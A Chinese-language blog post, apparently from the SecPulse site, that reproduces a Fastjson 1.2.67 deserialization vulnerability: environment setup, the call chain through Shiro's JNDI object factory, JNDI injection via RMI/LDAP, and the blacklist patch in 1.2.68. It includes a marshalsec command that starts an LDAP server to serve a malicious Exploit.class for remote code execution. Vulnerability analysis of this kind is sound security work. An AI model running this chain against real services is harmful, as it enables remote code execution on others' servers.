Fastjson漏洞复现

2020-07-13 10,322


前言

    前不久传的沸沸扬扬的FastJson反序列化漏洞,相信有不少企业都中招了,当然我司也未能幸免,基于次漏洞更具官方给的补漏措施,已完全可以避免在这不再阐述。本文就拿它从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。


以下便是部分官方公告:

image.png

0x01 Fastjson简介

    “Fastjson” 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 

https://github.com/alibaba/fastjson

0x02 环境搭建

JDK 版本:8u112 、fastjson: 1.2.67、shiro: 1.5.1、slf4j-nop: 1.7.25

0x1 添加依赖包

为了快速添加项目所需要的jar包,创建Maven项目如下

image.png

Maven文件:pom.xml

image.png

image.png

导入工程之后右键pom.xml ,点击下载源码source和document。

image.png

0x2 Idea中JDK版本选择

此漏洞应该选择:JDK 8u112

image.png

0x3 手动漏洞代码

此时在main文件夹中,添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数

image.png


0x03 漏洞原理

0x1 FastJson 类解析

   

image.png

如图:fastjson.java

image.png

image.png

image.png

因此,通过以上代码可以看出调用parseObject 函数会调用getattr()方法。

0x2 漏洞调用链分析

此时我们进行调用栈分析:

image.png

利用1:parseObject 对象类型转换

    在这一步的操作是将obj对应的对象类型转化为json,这肯定要获得getattr() 对象方法,从而会触发漏洞。

image.png

利用2:反射调用

将用invoke方法,调用getinstance()方法:

例:

image.png

利用3: 触发ldap

JndiObjectFactory、getinstance中调用了this.lookup(resourceName)方法:

例:

image.png

0x3 JNDI 注入

    在Java Name Directory Interface中,Java的命名和目录接口(JNDI)是一种Java 的API,类似于一个索引中心,允许客户端通过name发现和查找数据。JNDI包括Naming Service和Directory Service,此时,通过名称来寻找数据和对象的API,我们也称其中为一种绑定。但是JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

image.png

整个应用场景如:动态加载数据库配置文件,从而保持数据库代码不变动等。

漏洞注入方法:


JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");



假若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即:可实现JNDI注入实现任意代码执行。

注入1:RMI

    简称RMI(Remote Method Invocation,远程方法调用),远程方法调用是分布式编程中的基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。

注入2:LDAP

    简称:LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)一种目录服务协议,主要运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,从而能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。

0x04 漏洞利用

    0x1 Java 利用代码编译

image.png

0x2 此时开启 LDAP 服务

使用marshalsec启动一个ladp服务器 ,下载地址为


https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit


image.png

0x3 开启HTTP Web 服务

此时将编译好的Exploit.class 放在web目录下并开启服务

image.png

0x05 漏洞补丁

这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包

https://github.com/LeadroyaL/fastjson-blacklist


image.png

该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了

image.png

具体代码如下图所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理。名单hash生成算法,大概思路是将每一位都异或进行异或叠加。

image.png








本文作者:安全先师

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/135237.html

Tags:
评论  (0)
快来写下你的想法吧!

安全先师

文章数:5 积分: 105

专注于web安全、黑客攻防,分享技术干货同时是白帽子技术的培训平台及学习社区!!!(官方网站:http://xianshisec.cn/)

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号